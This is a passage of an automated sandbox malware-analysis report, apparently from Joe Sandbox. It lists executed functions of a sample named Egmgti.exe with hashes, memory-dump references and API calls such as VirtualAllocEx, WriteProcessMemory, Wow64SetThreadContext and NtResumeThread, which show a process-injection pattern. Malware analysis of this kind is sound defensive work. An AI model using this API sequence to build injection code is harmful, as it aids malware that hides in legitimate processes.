Instruction Fuzzy Hash: 3B018F70914348EFDB45EFB8F85169C7BB5EB46300F5081AAC045AB156DE706E198B92

Function 008D099B Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d8c6e3f92d1ad71c13532e7bf74fa1a8960396482bddebf42b541e572de5d8
Instruction ID: d84bfdd1f9a3fb88951dc516fd5dd83d563227513517cd3ee4b40ea9ebf20ab6
Opcode Fuzzy Hash: 62d8c6e3f92d1ad71c13532e7bf74fa1a8960396482bddebf42b541e572de5d8
Instruction Fuzzy Hash: 5AF0F610A48758AAEF2166B40828338BF41FB51331F480B6FC1B4CB3A7D2448874D786

Function 008D8180 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1421151245.00000000008D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90fd4cb6d60beeaf41ee930f488cf758a7248161b78d5e45ce84f89ede74e927
Instruction ID: ef7ea9c9c9520a1585f0f6a431b1e9718aa81c8508540252d150cd84e258a65f
Opcode Fuzzy Hash: 90fd4cb6d60beeaf41ee930f488cf758a7248161b78d5e45ce84f89ede74e927
Instruction Fuzzy Hash: 68F04470910208EFDB45FFA8F94179D77F5FB46304F508569C005AB255DE706E548B92

Analysis Process: Egmgti.exePID: 7972, Parent PID: 3968COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	392
Total number of Limit Nodes:	17

Executed Functions

Function 06252D60 Relevance: 2.4, Strings: 1, Instructions: 1106COMMON

Download Yara Rule

Strings

4, xrefs: 06253735

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 995cd019f061f6b45c03a06b90a6eabb2cbd80f854810fd02ad416a500a1107a
Instruction ID: df295d9923971ce1612ca0a76b823e95bbd2012cf10af0cd9b4beaaee251d35e
Opcode Fuzzy Hash: 995cd019f061f6b45c03a06b90a6eabb2cbd80f854810fd02ad416a500a1107a
Instruction Fuzzy Hash: 1BB22630A10229DFDB64DFA4C894BADB7B6BF48340F158599E905AB3A5DB70EC81CF50

Function 02C0B28D Relevance: 2.3, Strings: 1, Instructions: 1093
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 02C0BDE8

Memory Dump Source

Source File: 0000000A.00000002.1421924635.0000000002C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2c00000_Egmgti.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: b6c92ca381cb2ce64c7992704394f54f64296aa58f66c0d483b912ec381953d5
Instruction ID: d2a0bc51d0f5e69214cb365571666e1c2c7a8bcd19a0e2079cc22b5a98ddda8f
Opcode Fuzzy Hash: b6c92ca381cb2ce64c7992704394f54f64296aa58f66c0d483b912ec381953d5
Instruction Fuzzy Hash: B4C2AFB4E002288FDB65DF69C884B99BBF6BF89304F1081EAD549A7355DB309E85CF50

Function 06253087 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 06253735

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 647c4e0c22da306c1719339dde474481ebe5eed7d39c2fd838ad477dd2708100
Instruction ID: f3183a9a3ec03ab18dceb101db9a97435b634100bb58b1e3ed0afc1423030c15
Opcode Fuzzy Hash: 647c4e0c22da306c1719339dde474481ebe5eed7d39c2fd838ad477dd2708100
Instruction Fuzzy Hash: 69222930A10219DFDB64DFA4C994BADB7B2BF48350F1181A9D909AB3A5EB70DD81CF50

Function 0626FBA1 Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0626FC5D

Memory Dump Source

Source File: 0000000A.00000002.1454746931.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6260000_Egmgti.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e4413931dd9f7c9ca7ca2ebacce0919dcdd48636e3f150579013068f4f1e3e6d
Instruction ID: 0aa1ff5c819a9a00f9466484d3fdb5be36f8e476d6ebe263f2dd556ce8978ea4
Opcode Fuzzy Hash: e4413931dd9f7c9ca7ca2ebacce0919dcdd48636e3f150579013068f4f1e3e6d
Instruction Fuzzy Hash: 8741A7B9D002589FCF10CFAAD980ADEFBB1BF49310F14902AE819B7200D775A946CF64

Function 0626FBA8 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0626FC5D

Memory Dump Source

Source File: 0000000A.00000002.1454746931.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6260000_Egmgti.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: ddf9b6a6c1bbdff1530177b39b28ff05b81b4d02a5b30c46c01bc02ed0be9bdf
Instruction ID: fcf74e68fe4c24dd5bc67267717a0dc1cd97ab8fc37a555d563b46b41ad94f51
Opcode Fuzzy Hash: ddf9b6a6c1bbdff1530177b39b28ff05b81b4d02a5b30c46c01bc02ed0be9bdf
Instruction Fuzzy Hash: 664197B9D002589FCF10CFAAD980ADEFBB1BB49310F14902AE819B7210D775A946CF64

Function 062910E8 Relevance: 1.6, APIs: 1, Instructions: 88nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0629117E

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8889c8504ac9075f58747eb56643191a1197c0f0578613baee360aab1d69a88b
Instruction ID: f11ea4ddf9ca83e391e3d754901fc686aca3bc11146bb356c50017a1c7f29bb4
Opcode Fuzzy Hash: 8889c8504ac9075f58747eb56643191a1197c0f0578613baee360aab1d69a88b
Instruction Fuzzy Hash: F831BCB4D01219AFDB10CFAAD984ADEFBF5FB49310F14942AE814B7200C7756945CFA4

Function 062910F0 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0629117E

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 723bdcf4cda24ed40715378dbe59949a317c091cff3981df1cd328e57b5828a4
Instruction ID: 7946a1538cdf17497b7429e9bc973cd85197bf5150188d211f346b22fc92415a
Opcode Fuzzy Hash: 723bdcf4cda24ed40715378dbe59949a317c091cff3981df1cd328e57b5828a4
Instruction Fuzzy Hash: 5631AAB5D012199FDF10CFAAD984A9EFBF1BB49310F24942AE815B7200C775A945CFA4

Function 02C0C694 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1421924635.0000000002C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2c00000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08fe1dc704dd21baf58be22f73a339f2f89413dcf5b77eac4a2d2bc381f4746b
Instruction ID: c30f4b0fba559dfa82be3f71c0644a3c856f83451aa563fda94dc607ddbf882d
Opcode Fuzzy Hash: 08fe1dc704dd21baf58be22f73a339f2f89413dcf5b77eac4a2d2bc381f4746b
Instruction Fuzzy Hash: C2329074A502298FCB65DF28C984BA9B7B6FF48300F5181EAE54DA7351DB30AE81CF54

Function 02C0174C Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1421924635.0000000002C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2c00000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ed5bfcf92f9fb307c84f90af25a99fb1da617e43725d93e141141f46351690a
Instruction ID: 0757c6184046be0a8f6be11c28d77ff471545d9b67f779c32b7e333b7e65211d
Opcode Fuzzy Hash: 3ed5bfcf92f9fb307c84f90af25a99fb1da617e43725d93e141141f46351690a
Instruction Fuzzy Hash: D0F16B71E052698FDB14CB69C894BACFBF2BF84304F19C2A9D059AB295C774DA81CF50

Function 06290454 Relevance: 1.8, APIs: 1, Instructions: 266processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 062906C7

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 5a0a2a6b67cb264cfaf0dfe5e0384a596c7544decd9eab213537a9700fb916d5
Instruction ID: c65251a2325dc927517e8a8e1f51ea36ef403d50b66742fef8bc6aa51eb10a22
Opcode Fuzzy Hash: 5a0a2a6b67cb264cfaf0dfe5e0384a596c7544decd9eab213537a9700fb916d5
Instruction Fuzzy Hash: 59A11070D1031D8FDF60CFA9C881BEEBBB1BB89310F14916AE859A7240DB748985CF55

Function 06290460 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 062906C7

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 16c4cc278f3a885854f013ebbedc03f064de747fa3ee2f222c6209b1e1afc391
Instruction ID: 3de582a243cd4465428027156927a3dd72300f589d63ff74d16bb57608d5df37
Opcode Fuzzy Hash: 16c4cc278f3a885854f013ebbedc03f064de747fa3ee2f222c6209b1e1afc391
Instruction Fuzzy Hash: 98A10070D1031D8FDF60CFA9C881BEEBBB1BB89310F149169E859A7280DB748985CF55

Function 06290ED0 Relevance: 1.6, APIs: 1, Instructions: 121injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06290FAB

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7656829b81218afd676dc2d1b0e3b0fe11e217b400f64ddf353a94e92acf6ab7
Instruction ID: e932d273f18d15242f7a920d32e930068dec802cc5fe05c692b3556a050adf66
Opcode Fuzzy Hash: 7656829b81218afd676dc2d1b0e3b0fe11e217b400f64ddf353a94e92acf6ab7
Instruction Fuzzy Hash: AF41ABB5D012589FCF10CFA9D984AEEFBF1BB49310F24902AE818B7210D775AA45CB64

Function 06290ED8 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06290FAB

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9ef79c8b6aab906035365cf5f41a0ca445aac123ff270dbc53504ac80504789f
Instruction ID: 359c0b54fbae4a51aac554e7694b7bbd1b47ba64701c38220f93a5f61f2fb1a9
Opcode Fuzzy Hash: 9ef79c8b6aab906035365cf5f41a0ca445aac123ff270dbc53504ac80504789f
Instruction Fuzzy Hash: 8A41BAB5D012589FCF10CFA9D984AEEFBF1BB49310F24902AE818B7210D775AA45CF64

Function 06290D70 Relevance: 1.6, APIs: 1, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06290E22

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c835670e7bae711c1ca1dbc9ceadeed270096d937c4e1f23c63d748a2daa4597
Instruction ID: 9ca498ca96f6fc0f0c3c090ade6891131a59a4c075d14606e541668eb8120bea
Opcode Fuzzy Hash: c835670e7bae711c1ca1dbc9ceadeed270096d937c4e1f23c63d748a2daa4597
Instruction Fuzzy Hash: EE41A9B9D002589FCF10CFA9D980ADEFBB1BB49310F10A42AE815B7210D735A945CF64

Function 062913C0 Relevance: 1.6, APIs: 1, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0629146C

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 323a9d817201ab51b9556062e555f6877049a07354c08fb73b67dedb2f92839a
Instruction ID: e2e7050b6df4a6cf20601689d1b10c64f7bb3a1e821a81971f0ca57b4e334872
Opcode Fuzzy Hash: 323a9d817201ab51b9556062e555f6877049a07354c08fb73b67dedb2f92839a
Instruction Fuzzy Hash: 6531D9B5D042589FCF20CFAAD884AEEFBB1AB49310F14902AE815B7210C735A945CF64

Function 06290D78 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06290E22

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1b038d114a8efdcccf5cb2e072c4f505a3209360b44c8032c23f2cf89279c11e
Instruction ID: 208c8ebb493089624992855474d690168fa60409bbd96d19a78687275b678d01
Opcode Fuzzy Hash: 1b038d114a8efdcccf5cb2e072c4f505a3209360b44c8032c23f2cf89279c11e
Instruction Fuzzy Hash: B43188B9D042589FCF10CFA9D980ADEFBB1BB49310F14A42AE815B7210D775A946CF64

Function 062913C8 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0629146C

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5d907da56f87b51d4da93facfecf46fe2737dd3646ccfc8c9ccf83e692f56136
Instruction ID: d79ddc54beb3aa096e73f4070d064e04c895edc45f2807116fbb76504aca0509
Opcode Fuzzy Hash: 5d907da56f87b51d4da93facfecf46fe2737dd3646ccfc8c9ccf83e692f56136
Instruction Fuzzy Hash: 2F31C8B5D002589FCF10CFAAD984AEEFBB1BB49310F24942AE815B7210C775A945CF64

Function 06290810 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 062908C7

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 647f32b71aa24938bafb373f1107a167a8ba4e2c4fc1414ddc89cea50ad56816
Instruction ID: a07463c93e0bc4d3a8b89464daac9a856f7f2b0c9a41611b987f0bbd3c6b855f
Opcode Fuzzy Hash: 647f32b71aa24938bafb373f1107a167a8ba4e2c4fc1414ddc89cea50ad56816
Instruction Fuzzy Hash: 8E41BEB5D112589FDB14DFA9D884AEEFBF1BF49310F14842AE814B7240C7785945CFA4

Function 062EDB60 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 062EDC04

Memory Dump Source

Source File: 0000000A.00000002.1455421866.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_62e0000_Egmgti.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 073b152ab2e242fa9b76f31ca28a21110d79c7f1770f0fa0434b80f9a232c0b8
Instruction ID: 54fe6ee6f6b7553ebbe25abfb07fc98f3e33de20c72070432bc21335ba50a566
Opcode Fuzzy Hash: 073b152ab2e242fa9b76f31ca28a21110d79c7f1770f0fa0434b80f9a232c0b8
Instruction Fuzzy Hash: 2A31A7B8D002189FCF14CFA9D980ADEFBB1BF49310F24A42AE814B7210D775A945CF64

Function 06290818 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 062908C7

Memory Dump Source

Source File: 0000000A.00000002.1455238006.0000000006290000.00000040.00000800.00020000.00000000.sdmp, Offset: 06290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6290000_Egmgti.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ffefea900ed6d6b2a73d88089f440c5962d8ce893d42a8d7f01980de31074dbb
Instruction ID: 183d18e6cb9e2226977d6931e47c5891518f0325a0258a4ac630fb1641b1c8ba
Opcode Fuzzy Hash: ffefea900ed6d6b2a73d88089f440c5962d8ce893d42a8d7f01980de31074dbb
Instruction Fuzzy Hash: CD31BDB5D112589FDB14DFAAD884AEEFBF1BB49310F14842AE814B7240C7786945CFA4

Function 06258600 Relevance: 1.6, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

d, xrefs: 06258861

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: c0dcfcd8b7f4d31317488c9810d3df4785e70f39612e86f33fea860083a2bdb1
Instruction ID: 69f903bc04fdc6f2bf4cf1dcd4e17854f0a70b7bbe6b313f8b8b3f62162da15d
Opcode Fuzzy Hash: c0dcfcd8b7f4d31317488c9810d3df4785e70f39612e86f33fea860083a2bdb1
Instruction Fuzzy Hash: 1CD1B834610616CFCB24CF28C484A6ABBF6FF88310B16C969D95A9B365DB74F841CB90

Function 062EED28 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 062EEDC7

Memory Dump Source

Source File: 0000000A.00000002.1455421866.00000000062E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_62e0000_Egmgti.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: abb57737596faaccb5cc1e3e85a1d407a3d80b480cc7115d67114d3807bc19ce
Instruction ID: 1d6a54512e87851108624235ea7d3e48d4b522eaadc6993c750e56a2ae64a3f6
Opcode Fuzzy Hash: abb57737596faaccb5cc1e3e85a1d407a3d80b480cc7115d67114d3807bc19ce
Instruction Fuzzy Hash: 5D31B8B8D002089FCF24CFA9D880ADEFBB1BF49310F24942AE814B7210C735A945CFA4

Function 02C007E8 Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

P.q, xrefs: 02C00820

Memory Dump Source

Source File: 0000000A.00000002.1421924635.0000000002C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2c00000_Egmgti.jbxd

Similarity

API ID:
String ID: P.q
API String ID: 0-3220750116
Opcode ID: 0883b46c8d4c1e62f4126c78e8b483a7e9365f342cea2bafde5ebb0aedc99680
Instruction ID: 0b694ea3177a84230780a38fbce678f30769798f1432ebdda9e78584e8604968
Opcode Fuzzy Hash: 0883b46c8d4c1e62f4126c78e8b483a7e9365f342cea2bafde5ebb0aedc99680
Instruction Fuzzy Hash: 3501DDA280E7E00FD703837868A46803F305E5715478F41DBC8C0EF5E3E819989ECBAA

Function 0625BAE0 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecd6b27c4f6897c1b4c2cc1f57145a68885e9cc2ca1a8bba4270473cd3cb1e0
Instruction ID: 7f8a905ca9a92c8b082142d8237609c3cd64c7a1844532ec4caa77a812c62734
Opcode Fuzzy Hash: 5ecd6b27c4f6897c1b4c2cc1f57145a68885e9cc2ca1a8bba4270473cd3cb1e0
Instruction Fuzzy Hash: 44522875A102288FDB68DF68C995BEDBBF2BF88300F1540D9E909A7351DA709D80CF61

Function 06256033 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd0330099f4aecf5eda30dc6f575a719b60a3e40763c3171ce4fec96ac91184
Instruction ID: be5a4cb433fe01bfc66b1429cc46f8d5b18881e1bf93c749ef5c53c23380fb7f
Opcode Fuzzy Hash: 9fd0330099f4aecf5eda30dc6f575a719b60a3e40763c3171ce4fec96ac91184
Instruction Fuzzy Hash: C5228D31A102059FDB64DF65C894AADBBF2FF88310F568059ED05AB365CB75EC44CB90

Function 06258F48 Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c0349e9bd5cf127aa54ce93c3225fa515f364fad46bfcc1f8b92a58eee5a82d
Instruction ID: 492473b3e681c44b6949690c6255f8edb322158bc194176caf6c174dad288aa0
Opcode Fuzzy Hash: 3c0349e9bd5cf127aa54ce93c3225fa515f364fad46bfcc1f8b92a58eee5a82d
Instruction Fuzzy Hash: 20126C30A10205DFDB64DFA4C894AAEBBF6FF88310B15852DD90A9B791DB35EC46CB50

Function 0625EAE8 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 634d5d24fe2898294e4ffbcfb82f24915f55bf66cd805df20d9b6fa06c5865fd
Instruction ID: 69d11e6a2758b4e211b9f10e2db88da73b1154878794d83ad7294781123352d4
Opcode Fuzzy Hash: 634d5d24fe2898294e4ffbcfb82f24915f55bf66cd805df20d9b6fa06c5865fd
Instruction Fuzzy Hash: 9D122F34A102198FCB64EF64C994B9DB7B2BF89300F5185A9D94AAB355DF30ED85CF40

Function 0625C978 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19b6f770219be2391033ef25cefe92cf10dc78f67b3ea203eb1e734893afcdfa
Instruction ID: b1c5110c1c6f62a64597ec42307d8018a16eaba120d38b96e464114c717637c8
Opcode Fuzzy Hash: 19b6f770219be2391033ef25cefe92cf10dc78f67b3ea203eb1e734893afcdfa
Instruction Fuzzy Hash: B4E1BF707603068FDBA4DF29C855A7EBEE2EF99210F16402DED86CB391EA74C845CB51

Function 0625F1CF Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37eac242a4a5add2961567c7819d7897ff9c924e643492ba200de6e30183e9a6
Instruction ID: 4ceb19793067c52e82bd90f5c760123b57e06e6dab62776b31489ed75602ccfa
Opcode Fuzzy Hash: 37eac242a4a5add2961567c7819d7897ff9c924e643492ba200de6e30183e9a6
Instruction Fuzzy Hash: BBF14034A10209DFCB54EFA4D5949ADBBB2FF89310F118569EC02AB364DB34AD46CF91

Function 0625AC00 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f2484552de7ac5673bce06d0a9f15e25e01ae3680afa798cce67f685e6bd7d
Instruction ID: 20e5e77e290697f2c89616afde378443143969084eba4ce5b0e72b50a9b3b82b
Opcode Fuzzy Hash: e1f2484552de7ac5673bce06d0a9f15e25e01ae3680afa798cce67f685e6bd7d
Instruction Fuzzy Hash: 4AF10C34B10118DFCB58DFA4D999A9DB7B2FF88301F118159E906AB365DB75EC42CB80

Function 0625BAD7 Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a837654a990fb456fce5e042b63affd130e89337d2d443441dda654c6b6af0f
Instruction ID: 64452847370b41695263f67c02e46467135e80a9e71e50ed236dc261d25c865b
Opcode Fuzzy Hash: 3a837654a990fb456fce5e042b63affd130e89337d2d443441dda654c6b6af0f
Instruction Fuzzy Hash: E8C16F74A102188FDB68DF68C955BEDBBF6BF88700F158099E909AB350DA70DD81CF61

Function 062567B0 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b262b9b1a559f88b65e16d8d20c3431bbda6f1958e08004df30ea1d2b32189d
Instruction ID: 14020880c3e41321bd59c6bb4f017f0a835e4adf788c1da1147c85823ee58b1a
Opcode Fuzzy Hash: 4b262b9b1a559f88b65e16d8d20c3431bbda6f1958e08004df30ea1d2b32189d
